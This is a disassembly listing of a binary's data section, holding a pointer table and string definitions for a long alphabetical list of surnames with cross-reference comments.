		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine_0	; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch_0	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay_0	; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .nsp0:off_445440o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .nsp0:00445444o
		align 4
aAdams		db 'Adams',0            ; DATA XREF: .nsp0:00445448o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .nsp0:off_44544Co
aAdelstein	db 'Adelstein',0        ; DATA XREF: .nsp0:00445450o
		align 10h
aAdibe		db 'Adibe',0            ; DATA XREF: .nsp0:00445454o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .nsp0:00445458o
		align 10h
aAhlers		db 'Ahlers',0           ; DATA XREF: .nsp0:0044545Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .nsp0:00445460o
		align 10h
aAlcorn		db 'Alcorn',0           ; DATA XREF: .nsp0:00445464o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .nsp0:00445468o
		align 10h
aAleks		db 'Aleks',0            ; DATA XREF: .nsp0:0044546Co
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: .nsp0:00445470o
aAlongi		db 'Alongi',0           ; DATA XREF: .nsp0:00445474o
		align 4
aAltavilla	db 'Altavilla',0        ; DATA XREF: .nsp0:00445478o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .nsp0:0044547Co
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .nsp0:00445480o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .nsp0:00445484o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .nsp0:00445488o
		align 10h
aAmeer		db 'Ameer',0            ; DATA XREF: .nsp0:0044548Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .nsp0:00445490o
		align 10h
aAnand		db 'Anand',0            ; DATA XREF: .nsp0:00445494o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .nsp0:00445498o
		align 10h
aAndo		db 'Ando',0             ; DATA XREF: .nsp0:0044549Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .nsp0:004454A0o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .nsp0:004454A4o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .nsp0:004454A8o
		align 4
aAnsley		db 'Ansley',0           ; DATA XREF: .nsp0:004454ACo
		align 10h
aAnthony	db 'Anthony',0          ; DATA XREF: .nsp0:004454B0o
aAntos		db 'Antos',0            ; DATA XREF: .nsp0:004454B4o
		align 10h
aArbia		db 'Arbia',0            ; DATA XREF: .nsp0:004454B8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .nsp0:004454BCo
aArellano	db 'Arellano',0         ; DATA XREF: .nsp0:004454C0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .nsp0:004454C4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .nsp0:004454C8o
		align 10h
aArky		db 'Arky',0             ; DATA XREF: .nsp0:004454CCo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .nsp0:004454D0o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: .nsp0:004454D4o
		align 4
aAurelius	db 'Aurelius',0         ; DATA XREF: .nsp0:004454D8o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .nsp0:004454DCo
aAxworthy	db 'Axworthy',0         ; DATA XREF: .nsp0:004454E0o
		align 4
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .nsp0:004454E4o
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .nsp0:004454E8o
aAyling		db 'Ayling',0           ; DATA XREF: .nsp0:004454ECo
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .nsp0:004454F0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .nsp0:004454F4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .nsp0:004454F8o
		align 10h
aBady		db 'Bady',0             ; DATA XREF: .nsp0:004454FCo
		align 4
aBaglivo	db 'Baglivo',0          ; DATA XREF: .nsp0:00445500o
aBagnold	db 'Bagnold',0          ; DATA XREF: .nsp0:00445504o
aBailar		db 'Bailar',0           ; DATA XREF: .nsp0:00445508o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .nsp0:0044550Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .nsp0:00445510o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .nsp0:00445514o
		align 10h
aBallew		db 'Ballew',0           ; DATA XREF: .nsp0:00445518o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .nsp0:0044551Co
		align 10h
aBanta		db 'Banta',0            ; DATA XREF: .nsp0:00445520o
		align 4
aBarabesi	db 'Barabesi',0         ; DATA XREF: .nsp0:00445524o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .nsp0:00445528o
aBaranczak	db 'Baranczak',0        ; DATA XREF: .nsp0:0044552Co
		align 4
aBaranowska	db 'Baranowska',0       ; DATA XREF: .nsp0:00445530o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .nsp0:00445534o
aBarbetti	db 'Barbetti',0         ; DATA XREF: .nsp0:00445538o
		align 4
aBarneson	db 'Barneson',0         ; DATA XREF: .nsp0:0044553Co
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .nsp0:00445540o
aBarriola	db 'Barriola',0         ; DATA XREF: .nsp0:00445544o
		align 4
aBarry		db 'Barry',0            ; DATA XREF: .nsp0:00445548o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .nsp0:0044554Co
aBartolome	db 'Bartolome',0        ; DATA XREF: .nsp0:00445550o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .nsp0:00445554o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: .nsp0:00445558o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .nsp0:0044555Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .nsp0:00445560o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .nsp0:00445564o
		align 10h
aBayles		db 'Bayles',0           ; DATA XREF: .nsp0:00445568o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .nsp0:0044556Co
		align 10h
aBeacon		db 'Beacon',0           ; DATA XREF: .nsp0:00445570o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .nsp0:00445574o
		align 10h
aBean		db 'Bean',0             ; DATA XREF: .nsp0:00445578o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .nsp0:0044557Co
aBeder		db 'Beder',0            ; DATA XREF: .nsp0:00445580o
		align 4
aBedford	db 'Bedford',0          ; DATA XREF: .nsp0:00445584o
aBehenna	db 'Behenna',0          ; DATA XREF: .nsp0:00445588o
aBelanger	db 'Belanger',0         ; DATA XREF: .nsp0:0044558Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .nsp0:00445590o
		align 10h
aBelfer		db 'Belfer',0           ; DATA XREF: .nsp0:00445594o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .nsp0:00445598o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .nsp0:0044559Co
		align 4
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .nsp0:004455A0o
		align 10h
aBellini	db 'Bellini',0          ; DATA XREF: .nsp0:004455A4o
aBelloc		db 'Belloc',0           ; DATA XREF: .nsp0:004455A8o
		align 10h
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .nsp0:004455ACo
		align 10h
aBergson	db 'Bergson',0          ; DATA XREF: .nsp0:004455B0o
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .nsp0:004455B4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .nsp0:004455B8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .nsp0:004455BCo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: .nsp0:004455C0o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .nsp0:004455C4o
		align 4
aBetti		db 'Betti',0            ; DATA XREF: .nsp0:004455C8o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .nsp0:004455CCo
aBiagioli	db 'Biagioli',0         ; DATA XREF: .nsp0:004455D0o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .nsp0:004455D4o
		align 10h
aBinion		db 'Binion',0           ; DATA XREF: .nsp0:004455D8o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .nsp0:004455DCo
aBisema		db 'Bisema',0           ; DATA XREF: .nsp0:004455E0o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .nsp0:004455E4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .nsp0:004455E8o
		align 4
